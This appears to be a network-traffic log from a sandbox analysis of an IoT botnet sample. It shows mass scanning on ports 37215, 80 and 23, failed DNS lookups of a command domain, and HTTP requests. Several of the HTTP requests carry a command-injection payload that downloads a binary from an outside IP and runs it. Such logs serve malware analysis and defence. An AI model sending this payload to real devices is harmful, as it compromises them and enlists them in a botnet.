Dec 3, 2024 22:11:54.281758070 CET	5603	37215	192.168.2.23	156.73.238.248
Dec 3, 2024 22:11:54.281768084 CET	5603	37215	192.168.2.23	156.242.64.44
Dec 3, 2024 22:11:54.281758070 CET	5603	37215	192.168.2.23	156.163.65.16
Dec 3, 2024 22:11:54.281774998 CET	5603	37215	192.168.2.23	156.56.176.14
Dec 3, 2024 22:11:54.281780958 CET	5603	37215	192.168.2.23	156.79.79.103
Dec 3, 2024 22:11:54.282035112 CET	34746	37215	192.168.2.23	197.194.225.14
Dec 3, 2024 22:11:54.282052040 CET	40548	37215	192.168.2.23	156.124.60.241
Dec 3, 2024 22:11:54.282066107 CET	41718	37215	192.168.2.23	197.138.48.81
Dec 3, 2024 22:11:54.282068968 CET	48346	80	192.168.2.23	2.51.143.104
Dec 3, 2024 22:11:54.282860041 CET	44096	80	192.168.2.23	177.25.213.167
Dec 3, 2024 22:11:54.283600092 CET	38024	80	192.168.2.23	19.208.57.186
Dec 3, 2024 22:11:54.284298897 CET	45788	80	192.168.2.23	23.105.251.53
Dec 3, 2024 22:11:54.284972906 CET	53908	80	192.168.2.23	162.156.93.202
Dec 3, 2024 22:11:54.285681009 CET	55890	80	192.168.2.23	138.141.247.162
Dec 3, 2024 22:11:54.286350965 CET	54928	80	192.168.2.23	4.29.253.50
Dec 3, 2024 22:11:54.286434889 CET	33162	37215	192.168.2.23	41.104.114.211
Dec 3, 2024 22:11:54.286434889 CET	39916	37215	192.168.2.23	41.70.104.246
Dec 3, 2024 22:11:54.286448956 CET	43022	37215	192.168.2.23	197.73.153.0
Dec 3, 2024 22:11:54.286448956 CET	51038	37215	192.168.2.23	156.100.177.250
Dec 3, 2024 22:11:54.286449909 CET	45184	37215	192.168.2.23	156.223.160.22
Dec 3, 2024 22:11:54.286456108 CET	47776	37215	192.168.2.23	41.104.46.48
Dec 3, 2024 22:11:54.286464930 CET	41242	37215	192.168.2.23	197.124.151.60
Dec 3, 2024 22:11:54.286464930 CET	51436	37215	192.168.2.23	197.232.200.251
Dec 3, 2024 22:11:54.286474943 CET	46350	37215	192.168.2.23	197.69.77.153
Dec 3, 2024 22:11:54.286474943 CET	39240	37215	192.168.2.23	156.11.199.65
Dec 3, 2024 22:11:54.286484003 CET	39804	37215	192.168.2.23	156.238.183.10
Dec 3, 2024 22:11:54.287080050 CET	32996	80	192.168.2.23	204.33.164.130
Dec 3, 2024 22:11:54.287753105 CET	39332	80	192.168.2.23	164.143.163.98
Dec 3, 2024 22:11:54.288400888 CET	49868	80	192.168.2.23	202.130.23.209
Dec 3, 2024 22:11:54.289053917 CET	38046	80	192.168.2.23	213.89.187.153
Dec 3, 2024 22:11:54.289705992 CET	52260	80	192.168.2.23	183.109.121.123
Dec 3, 2024 22:11:54.290360928 CET	49284	80	192.168.2.23	43.198.132.86
Dec 3, 2024 22:11:54.291043043 CET	35828	80	192.168.2.23	203.130.186.3
Dec 3, 2024 22:11:54.291701078 CET	46618	80	192.168.2.23	24.101.117.10
Dec 3, 2024 22:11:54.292378902 CET	40892	80	192.168.2.23	189.70.225.6
Dec 3, 2024 22:11:54.293040991 CET	40574	80	192.168.2.23	42.185.7.251
Dec 3, 2024 22:11:54.293708086 CET	48232	80	192.168.2.23	63.15.93.83
Dec 3, 2024 22:11:54.294390917 CET	37694	80	192.168.2.23	47.179.14.230
Dec 3, 2024 22:11:54.295068979 CET	56282	80	192.168.2.23	115.196.100.14
Dec 3, 2024 22:11:54.295732975 CET	55328	80	192.168.2.23	43.181.222.160
Dec 3, 2024 22:11:54.296396017 CET	49958	80	192.168.2.23	200.115.243.111
Dec 3, 2024 22:11:54.297110081 CET	44372	80	192.168.2.23	154.143.157.63
Dec 3, 2024 22:11:54.297765017 CET	38654	80	192.168.2.23	213.11.51.142
Dec 3, 2024 22:11:54.298437119 CET	55868	80	192.168.2.23	2.122.189.231
Dec 3, 2024 22:11:54.299094915 CET	41936	80	192.168.2.23	154.107.121.158
Dec 3, 2024 22:11:54.299741983 CET	36394	80	192.168.2.23	213.129.144.154
Dec 3, 2024 22:11:54.300542116 CET	52516	80	192.168.2.23	51.32.88.183
Dec 3, 2024 22:11:54.301214933 CET	49676	80	192.168.2.23	210.84.160.108
Dec 3, 2024 22:11:54.301870108 CET	50762	80	192.168.2.23	207.227.191.72
Dec 3, 2024 22:11:54.302527905 CET	55342	80	192.168.2.23	104.187.218.23
Dec 3, 2024 22:11:54.303087950 CET	52082	80	192.168.2.23	128.238.186.37
Dec 3, 2024 22:11:54.303103924 CET	52082	80	192.168.2.23	128.238.186.37
Dec 3, 2024 22:11:54.303426027 CET	52462	80	192.168.2.23	128.238.186.37
Dec 3, 2024 22:11:54.303809881 CET	48038	80	192.168.2.23	104.201.153.104
Dec 3, 2024 22:11:54.303809881 CET	48038	80	192.168.2.23	104.201.153.104
Dec 3, 2024 22:11:54.304124117 CET	48416	80	192.168.2.23	104.201.153.104
Dec 3, 2024 22:11:54.304559946 CET	33058	80	192.168.2.23	168.46.253.58
Dec 3, 2024 22:11:54.304559946 CET	33058	80	192.168.2.23	168.46.253.58
Dec 3, 2024 22:11:54.304838896 CET	33440	80	192.168.2.23	168.46.253.58
Dec 3, 2024 22:11:54.305239916 CET	45294	80	192.168.2.23	129.161.63.20
Dec 3, 2024 22:11:54.305239916 CET	45294	80	192.168.2.23	129.161.63.20
Dec 3, 2024 22:11:54.305525064 CET	45674	80	192.168.2.23	129.161.63.20
Dec 3, 2024 22:11:54.311006069 CET	37215	39316	41.210.191.65	192.168.2.23
Dec 3, 2024 22:11:54.311063051 CET	37215	37068	156.85.114.140	192.168.2.23
Dec 3, 2024 22:11:54.311073065 CET	37215	41008	197.90.173.218	192.168.2.23
Dec 3, 2024 22:11:54.311074018 CET	39316	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:54.311081886 CET	37215	52104	197.216.4.85	192.168.2.23
Dec 3, 2024 22:11:54.311090946 CET	37215	43636	41.244.89.175	192.168.2.23
Dec 3, 2024 22:11:54.311099052 CET	37215	52468	156.9.37.230	192.168.2.23
Dec 3, 2024 22:11:54.311103106 CET	37068	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:54.311110973 CET	37215	34412	156.63.198.34	192.168.2.23
Dec 3, 2024 22:11:54.311110973 CET	41008	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:54.311110973 CET	52104	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:54.311135054 CET	34412	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:54.311136007 CET	43636	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:54.311144114 CET	52468	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:54.311148882 CET	37215	47954	41.250.32.220	192.168.2.23
Dec 3, 2024 22:11:54.311158895 CET	37215	43796	197.203.23.32	192.168.2.23
Dec 3, 2024 22:11:54.311170101 CET	39316	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:54.311180115 CET	37215	38462	41.86.39.229	192.168.2.23
Dec 3, 2024 22:11:54.311188936 CET	43796	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:54.311201096 CET	47954	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:54.311213017 CET	38462	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:54.311332941 CET	43796	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:54.311347008 CET	37215	58860	41.44.55.171	192.168.2.23
Dec 3, 2024 22:11:54.311352968 CET	43636	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:54.311357021 CET	37215	41244	197.137.99.7	192.168.2.23
Dec 3, 2024 22:11:54.311364889 CET	37068	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:54.311367035 CET	37215	45942	197.59.17.178	192.168.2.23
Dec 3, 2024 22:11:54.311367035 CET	34412	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:54.311377048 CET	37215	54076	156.12.237.133	192.168.2.23
Dec 3, 2024 22:11:54.311381102 CET	52104	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:54.311387062 CET	37215	53916	197.205.232.108	192.168.2.23
Dec 3, 2024 22:11:54.311395884 CET	37215	47764	197.251.221.207	192.168.2.23
Dec 3, 2024 22:11:54.311398029 CET	45942	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:54.311398983 CET	58860	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:54.311398983 CET	41244	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:54.311409950 CET	54076	37215	192.168.2.23	156.12.237.133
Dec 3, 2024 22:11:54.311415911 CET	37215	34374	156.0.99.185	192.168.2.23
Dec 3, 2024 22:11:54.311424017 CET	47764	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:54.311424017 CET	53916	37215	192.168.2.23	197.205.232.108
Dec 3, 2024 22:11:54.311427116 CET	37215	57552	41.135.11.62	192.168.2.23
Dec 3, 2024 22:11:54.311435938 CET	37215	51778	156.143.38.41	192.168.2.23
Dec 3, 2024 22:11:54.311440945 CET	41008	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:54.311446905 CET	37215	41400	41.116.28.129	192.168.2.23
Dec 3, 2024 22:11:54.311450005 CET	47954	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:54.311451912 CET	34374	37215	192.168.2.23	156.0.99.185
Dec 3, 2024 22:11:54.311455965 CET	37215	35358	41.255.20.86	192.168.2.23
Dec 3, 2024 22:11:54.311459064 CET	57552	37215	192.168.2.23	41.135.11.62
Dec 3, 2024 22:11:54.311480999 CET	38462	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:54.311489105 CET	35358	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:54.311496973 CET	51778	37215	192.168.2.23	156.143.38.41
Dec 3, 2024 22:11:54.311496973 CET	41400	37215	192.168.2.23	41.116.28.129
Dec 3, 2024 22:11:54.311527014 CET	52468	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:54.311536074 CET	35358	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:54.311547041 CET	41400	37215	192.168.2.23	41.116.28.129
Dec 3, 2024 22:11:54.311551094 CET	34374	37215	192.168.2.23	156.0.99.185
Dec 3, 2024 22:11:54.311561108 CET	57552	37215	192.168.2.23	41.135.11.62
Dec 3, 2024 22:11:54.311578035 CET	47764	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:54.311578989 CET	53916	37215	192.168.2.23	197.205.232.108
Dec 3, 2024 22:11:54.311589956 CET	45942	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:54.311610937 CET	51778	37215	192.168.2.23	156.143.38.41
Dec 3, 2024 22:11:54.311610937 CET	41244	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:54.311610937 CET	58860	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:54.311614037 CET	54076	37215	192.168.2.23	156.12.237.133
Dec 3, 2024 22:11:54.342508078 CET	37215	57696	41.182.215.161	192.168.2.23
Dec 3, 2024 22:11:54.342628956 CET	57696	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:54.342667103 CET	57696	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:54.399987936 CET	37215	5603	197.112.138.120	192.168.2.23
Dec 3, 2024 22:11:54.400001049 CET	37215	5603	41.85.149.60	192.168.2.23
Dec 3, 2024 22:11:54.400010109 CET	37215	5603	197.132.221.211	192.168.2.23
Dec 3, 2024 22:11:54.400019884 CET	37215	5603	41.161.237.232	192.168.2.23
Dec 3, 2024 22:11:54.400041103 CET	37215	5603	156.134.199.251	192.168.2.23
Dec 3, 2024 22:11:54.400049925 CET	37215	5603	41.145.228.53	192.168.2.23
Dec 3, 2024 22:11:54.400059938 CET	37215	5603	197.22.145.57	192.168.2.23
Dec 3, 2024 22:11:54.400078058 CET	37215	5603	156.204.91.108	192.168.2.23
Dec 3, 2024 22:11:54.400088072 CET	37215	5603	197.152.165.235	192.168.2.23
Dec 3, 2024 22:11:54.400096893 CET	37215	57582	197.115.231.209	192.168.2.23
Dec 3, 2024 22:11:54.400135040 CET	5603	37215	192.168.2.23	156.134.199.251
Dec 3, 2024 22:11:54.400139093 CET	5603	37215	192.168.2.23	156.204.91.108
Dec 3, 2024 22:11:54.400140047 CET	5603	37215	192.168.2.23	197.112.138.120
Dec 3, 2024 22:11:54.400152922 CET	5603	37215	192.168.2.23	197.132.221.211
Dec 3, 2024 22:11:54.400158882 CET	5603	37215	192.168.2.23	197.152.165.235
Dec 3, 2024 22:11:54.400161982 CET	57582	37215	192.168.2.23	197.115.231.209
Dec 3, 2024 22:11:54.400166988 CET	5603	37215	192.168.2.23	41.145.228.53
Dec 3, 2024 22:11:54.400163889 CET	5603	37215	192.168.2.23	197.22.145.57
Dec 3, 2024 22:11:54.400194883 CET	5603	37215	192.168.2.23	41.85.149.60
Dec 3, 2024 22:11:54.400196075 CET	5603	37215	192.168.2.23	41.161.237.232
Dec 3, 2024 22:11:54.400641918 CET	37215	59980	197.120.15.57	192.168.2.23
Dec 3, 2024 22:11:54.400681973 CET	59980	37215	192.168.2.23	197.120.15.57
Dec 3, 2024 22:11:54.401463985 CET	37215	36538	156.86.224.106	192.168.2.23
Dec 3, 2024 22:11:54.401506901 CET	36538	37215	192.168.2.23	156.86.224.106
Dec 3, 2024 22:11:54.401936054 CET	37215	50072	41.152.245.211	192.168.2.23
Dec 3, 2024 22:11:54.401993036 CET	50072	37215	192.168.2.23	41.152.245.211
Dec 3, 2024 22:11:54.402353048 CET	37215	60086	156.214.207.66	192.168.2.23
Dec 3, 2024 22:11:54.402406931 CET	60086	37215	192.168.2.23	156.214.207.66
Dec 3, 2024 22:11:54.402704954 CET	80	42414	156.240.241.216	192.168.2.23
Dec 3, 2024 22:11:54.402750969 CET	42414	80	192.168.2.23	156.240.241.216
Dec 3, 2024 22:11:54.403163910 CET	37215	40350	156.37.11.97	192.168.2.23
Dec 3, 2024 22:11:54.403206110 CET	40350	37215	192.168.2.23	156.37.11.97
Dec 3, 2024 22:11:54.403270960 CET	37215	41718	197.138.48.81	192.168.2.23
Dec 3, 2024 22:11:54.403311014 CET	41718	37215	192.168.2.23	197.138.48.81
Dec 3, 2024 22:11:54.403727055 CET	37215	34746	197.194.225.14	192.168.2.23
Dec 3, 2024 22:11:54.403767109 CET	34746	37215	192.168.2.23	197.194.225.14
Dec 3, 2024 22:11:54.404314995 CET	37215	40548	156.124.60.241	192.168.2.23
Dec 3, 2024 22:11:54.404530048 CET	40548	37215	192.168.2.23	156.124.60.241
Dec 3, 2024 22:11:54.411721945 CET	80	46618	24.101.117.10	192.168.2.23
Dec 3, 2024 22:11:54.411787033 CET	46618	80	192.168.2.23	24.101.117.10
Dec 3, 2024 22:11:54.411974907 CET	46618	80	192.168.2.23	24.101.117.10
Dec 3, 2024 22:11:54.411974907 CET	46618	80	192.168.2.23	24.101.117.10
Dec 3, 2024 22:11:54.412483931 CET	46660	80	192.168.2.23	24.101.117.10
Dec 3, 2024 22:11:54.414429903 CET	42516	23	192.168.2.23	144.41.167.204
Dec 3, 2024 22:11:54.414429903 CET	59628	23	192.168.2.23	151.96.64.38
Dec 3, 2024 22:11:54.414467096 CET	59938	23	192.168.2.23	18.195.172.197
Dec 3, 2024 22:11:54.419761896 CET	80	36394	213.129.144.154	192.168.2.23
Dec 3, 2024 22:11:54.419820070 CET	36394	80	192.168.2.23	213.129.144.154
Dec 3, 2024 22:11:54.419857979 CET	36394	80	192.168.2.23	213.129.144.154
Dec 3, 2024 22:11:54.419876099 CET	36394	80	192.168.2.23	213.129.144.154
Dec 3, 2024 22:11:54.420186996 CET	36414	80	192.168.2.23	213.129.144.154
Dec 3, 2024 22:11:54.422976971 CET	80	52082	128.238.186.37	192.168.2.23
Dec 3, 2024 22:11:54.423743010 CET	80	48038	104.201.153.104	192.168.2.23
Dec 3, 2024 22:11:54.424489975 CET	80	33058	168.46.253.58	192.168.2.23
Dec 3, 2024 22:11:54.425317049 CET	80	45294	129.161.63.20	192.168.2.23
Dec 3, 2024 22:11:54.431976080 CET	37215	39316	41.210.191.65	192.168.2.23
Dec 3, 2024 22:11:54.432049990 CET	39316	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:54.432327032 CET	37215	37068	156.85.114.140	192.168.2.23
Dec 3, 2024 22:11:54.432370901 CET	37068	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:54.432784081 CET	37215	41008	197.90.173.218	192.168.2.23
Dec 3, 2024 22:11:54.432827950 CET	41008	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:54.433137894 CET	37215	52104	197.216.4.85	192.168.2.23
Dec 3, 2024 22:11:54.433180094 CET	52104	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:54.433345079 CET	37215	43636	41.244.89.175	192.168.2.23
Dec 3, 2024 22:11:54.433392048 CET	43636	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:54.433988094 CET	37215	34412	156.63.198.34	192.168.2.23
Dec 3, 2024 22:11:54.433998108 CET	37215	52468	156.9.37.230	192.168.2.23
Dec 3, 2024 22:11:54.434032917 CET	34412	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:54.434040070 CET	52468	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:54.434453964 CET	37215	43796	197.203.23.32	192.168.2.23
Dec 3, 2024 22:11:54.434497118 CET	43796	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:54.435070992 CET	37215	47954	41.250.32.220	192.168.2.23
Dec 3, 2024 22:11:54.435122967 CET	47954	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:54.435687065 CET	37215	38462	41.86.39.229	192.168.2.23
Dec 3, 2024 22:11:54.435697079 CET	37215	58860	41.44.55.171	192.168.2.23
Dec 3, 2024 22:11:54.435734034 CET	38462	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:54.435803890 CET	37215	41244	197.137.99.7	192.168.2.23
Dec 3, 2024 22:11:54.435817957 CET	37215	51778	156.143.38.41	192.168.2.23
Dec 3, 2024 22:11:54.435827017 CET	37215	54076	156.12.237.133	192.168.2.23
Dec 3, 2024 22:11:54.435836077 CET	37215	45942	197.59.17.178	192.168.2.23
Dec 3, 2024 22:11:54.435869932 CET	37215	53916	197.205.232.108	192.168.2.23
Dec 3, 2024 22:11:54.435883045 CET	37215	47764	197.251.221.207	192.168.2.23
Dec 3, 2024 22:11:54.435892105 CET	37215	57552	41.135.11.62	192.168.2.23
Dec 3, 2024 22:11:54.435899973 CET	37215	34374	156.0.99.185	192.168.2.23
Dec 3, 2024 22:11:54.435909033 CET	37215	41400	41.116.28.129	192.168.2.23
Dec 3, 2024 22:11:54.436005116 CET	37215	35358	41.255.20.86	192.168.2.23
Dec 3, 2024 22:11:54.436547041 CET	37215	45942	197.59.17.178	192.168.2.23
Dec 3, 2024 22:11:54.436598063 CET	45942	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:54.436783075 CET	37215	58860	41.44.55.171	192.168.2.23
Dec 3, 2024 22:11:54.436861038 CET	58860	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:54.437225103 CET	37215	41244	197.137.99.7	192.168.2.23
Dec 3, 2024 22:11:54.437269926 CET	41244	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:54.437537909 CET	37215	54076	156.12.237.133	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 22:11:43.851924896 CET	192.168.2.23	8.8.8.8	0x9422	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:44.323374987 CET	192.168.2.23	8.8.8.8	0x9422	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:44.715281963 CET	192.168.2.23	8.8.8.8	0x9422	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:45.726121902 CET	192.168.2.23	8.8.8.8	0x9422	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:46.084467888 CET	192.168.2.23	8.8.8.8	0x9422	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:09.598139048 CET	192.168.2.23	8.8.8.8	0xf705	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:09.851021051 CET	192.168.2.23	8.8.8.8	0xf705	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:10.325299978 CET	192.168.2.23	8.8.8.8	0xf705	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:10.798060894 CET	192.168.2.23	8.8.8.8	0xf705	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:11.048127890 CET	192.168.2.23	8.8.8.8	0xf705	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:34.354631901 CET	192.168.2.23	8.8.8.8	0x3410	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:34.832827091 CET	192.168.2.23	8.8.8.8	0x3410	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:35.241231918 CET	192.168.2.23	8.8.8.8	0x3410	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:35.493593931 CET	192.168.2.23	8.8.8.8	0x3410	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:40.499077082 CET	192.168.2.23	8.8.8.8	0x3410	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:04.052272081 CET	192.168.2.23	8.8.8.8	0xfac0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:04.303364992 CET	192.168.2.23	8.8.8.8	0xfac0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:04.694447994 CET	192.168.2.23	8.8.8.8	0xfac0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:04.954612970 CET	192.168.2.23	8.8.8.8	0xfac0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:05.206513882 CET	192.168.2.23	8.8.8.8	0xfac0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:28.771491051 CET	192.168.2.23	8.8.8.8	0x6711	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:29.245028019 CET	192.168.2.23	8.8.8.8	0x6711	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:29.718339920 CET	192.168.2.23	8.8.8.8	0x6711	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:34.724108934 CET	192.168.2.23	8.8.8.8	0x6711	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:35.122769117 CET	192.168.2.23	8.8.8.8	0x6711	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 22:11:44.321482897 CET	8.8.8.8	192.168.2.23	0x9422	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:44.713522911 CET	8.8.8.8	192.168.2.23	0x9422	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:45.724908113 CET	8.8.8.8	192.168.2.23	0x9422	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:46.083379030 CET	8.8.8.8	192.168.2.23	0x9422	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:11:46.474920034 CET	8.8.8.8	192.168.2.23	0x9422	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:09.850100040 CET	8.8.8.8	192.168.2.23	0xf705	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:10.324425936 CET	8.8.8.8	192.168.2.23	0xf705	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:10.797293901 CET	8.8.8.8	192.168.2.23	0xf705	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:11.047357082 CET	8.8.8.8	192.168.2.23	0xf705	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:11.304816961 CET	8.8.8.8	192.168.2.23	0xf705	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:34.831403971 CET	8.8.8.8	192.168.2.23	0x3410	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:35.240232944 CET	8.8.8.8	192.168.2.23	0x3410	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:35.492599964 CET	8.8.8.8	192.168.2.23	0x3410	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:12:40.976043940 CET	8.8.8.8	192.168.2.23	0x3410	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:04.302609921 CET	8.8.8.8	192.168.2.23	0xfac0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:04.693530083 CET	8.8.8.8	192.168.2.23	0xfac0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:04.953325987 CET	8.8.8.8	192.168.2.23	0xfac0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:05.205415010 CET	8.8.8.8	192.168.2.23	0xfac0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:05.683585882 CET	8.8.8.8	192.168.2.23	0xfac0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:29.243741035 CET	8.8.8.8	192.168.2.23	0x6711	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:29.717072010 CET	8.8.8.8	192.168.2.23	0x6711	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:35.121175051 CET	8.8.8.8	192.168.2.23	0x6711	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:13:35.598848104 CET	8.8.8.8	192.168.2.23	0x6711	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	38762	51.134.184.47	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.006967068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	49774	115.148.141.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.007677078 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	43438	140.106.83.149	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.008213997 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	56342	77.64.164.173	80

Timestamp	Bytes transferred	Direction	Data
